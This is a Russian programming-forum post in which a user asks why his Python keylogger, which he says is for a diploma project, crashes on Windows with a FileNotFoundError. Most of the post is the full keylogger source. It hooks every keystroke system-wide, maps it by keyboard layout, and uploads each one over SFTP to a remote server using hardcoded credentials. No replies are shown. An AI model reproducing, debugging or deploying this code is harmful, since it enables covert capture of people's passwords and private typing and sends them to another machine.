Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > Python
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 08.06.2023, 11:52   #1
Milyy_Avgustin
Новичок
Джуниор
 
Регистрация: 08.06.2023
Сообщений: 1
По умолчанию Не работает код python

Добрый день, столкнулся с такой проблемой. Пишу кейлоггер для дипломного проекта, было решено сделать запись символа в файл на сервере. Собираю решение в Sublime text, все работает, аналогично pycharm. Если запустить в Windows, то выходит такой текст и консоль сразу закрывается:

Traceback (most recent call last):
File test.py, line 11, in module
remotepath = '/home/stepan/logs.txt' # это путь куда сохраним наш файл на другом пк
File "paramiko\sftp_client.py", line 757, in put
FileNotFoundError: [WinError 2] Не удается найти указанный файл: '123.txt'
[2960] Failed to execute script 'test' due to unhandled exception


Код:
import keyboard
import paramiko
from ctypes import windll
import os
  
  
host = '192.168.1.32'  # тут должен быть ip твоего сервера на котором настроенно ssh
user = 'stepan'  # это логин для входа в систему
secret = '123456'  # ну тут понятно пароль от юзера
port = 22  # порт
  
  
def get_current_keyboard_layout():
    hwnd = windll.user32.GetForegroundWindow()
    thread_id = windll.user32.GetWindowThreadProcessId(hwnd, 0)
    layout_id = windll.user32.GetKeyboardLayout(thread_id)
    return layout_id & 0xFFFF
  
  
def convert_key_to_russian(key):
    # Словарь с соответствиями символов для русской раскладки
    conversion_map = {
        'q': 'й', 'w': 'ц', 'e': 'у', 'r': 'к', 't': 'е',
        'y': 'н', 'u': 'г', 'i': 'ш', 'o': 'щ', 'p': 'з',
        '[': 'х', ']': 'ъ', 'a': 'ф', 's': 'ы', 'd': 'в',
        'f': 'а', 'g': 'п', 'h': 'р', 'j': 'о', 'k': 'л',
        'l': 'д', ';': 'ж', "'": 'э', 'z': 'я', 'x': 'ч',
        'c': 'с', 'v': 'м', 'b': 'и', 'n': 'т', 'm': 'ь',
        ',': 'б', '.': 'ю', '/': '.'
    }
  
    converted_key = conversion_map.get(key.lower(), key)
  
    if key in ['shift', 'alt', 'ctrl', 'caps lock', 'tab', 'enter', 'space', 'backspace']:
        converted_key = ' ' + converted_key + ' '  # Добавляем пробел после специальных клавиш
  
    return converted_key
  
  
def convert_key_to_english(key):
    # Словарь с соответствиями символов для английской раскладки
    conversion_map = {
        'й': 'q', 'ц': 'w', 'у': 'e', 'к': 'r', 'е': 't',
        'н': 'y', 'г': 'u', 'ш': 'i', 'щ': 'o', 'з': 'p',
        'х': '[', 'ъ': ']', 'ф': 'a', 'ы': 's', 'в': 'd',
        'а': 'f', 'п': 'g', 'р': 'h', 'о': 'j', 'л': 'k',
        'д': 'l', 'ж': ';', 'э': "'", 'я': 'z', 'ч': 'x',
        'с': 'c', 'м': 'v', 'и': 'b', 'т': 'n', 'ь': 'm',
        'б': ',', 'ю': '.', '.': '/'
    }
  
    converted_key = conversion_map.get(key.lower(), key)
  
    if key in ['shift', 'alt', 'ctrl', 'caps lock', 'tab', 'enter', 'space', 'backspace']:
        converted_key = ' ' + converted_key + ' '  # Добавляем пробел после специальных клавиш
  
    return converted_key
  
  
def on_key_press(event):
  
    layout_id = get_current_keyboard_layout()
    print("Key Pressed:", event.name)
    print("Current Keyboard Layout:", layout_id)
  
    if layout_id == 1049:
        converted_key = convert_key_to_russian(event.name)
        print("Converted Key (Russian):", converted_key)
        transport = paramiko.Transport((host, port))
        transport.connect(username=user, password=secret)
        sftp = paramiko.SFTPClient.from_transport(transport)
  
        # Открываем файл на запись (если файл не существует, будет создан новый)
        with sftp.open('/home/stepan/logs.txt', 'a') as file:
            file.write(converted_key)
  
        sftp.close()
        transport.close()
  
    elif layout_id == 1033:
        converted_key = convert_key_to_english(event.name)
        print("Converted Key (English):", converted_key)
        transport = paramiko.Transport((host, port))
        transport.connect(username=user, password=secret)
        sftp = paramiko.SFTPClient.from_transport(transport)
  
        # Открываем файл на запись (если файл не существует, будет создан новый)
        with sftp.open('/home/stepan/logs.txt', 'a') as file:
            file.write(converted_key)
  
        sftp.close()
        transport.close()
  
  
  
# Регистрация обработчика нажатия клавиш
keyboard.on_press(on_key_press)
  
  
try:
    while True:
        keyboard.wait()
    raise RuntimeError()
except Exception as error:
    print(error)

Последний раз редактировалось Milyy_Avgustin; 08.06.2023 в 11:56.
Milyy_Avgustin вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Python - как установить Easy-Machine-Learning-Object-Detection при уже установленном Python 3.9 Krasi Общие вопросы по программированию, компьютерный форум 4 23.12.2021 15:49
[Python] Как работает алгоритм хода короля в шахматах VLADOSW2001 Помощь студентам 7 06.10.2019 09:11
Python не работает в cmd Dudushe Python 11 13.07.2019 06:38
Работает команда python в командной строке, но не работает в PyCharm'е LevG0r Python 4 03.10.2018 21:28
Начальный уровень Python. Функции - Python YYYUUU Python 5 09.06.2017 12:09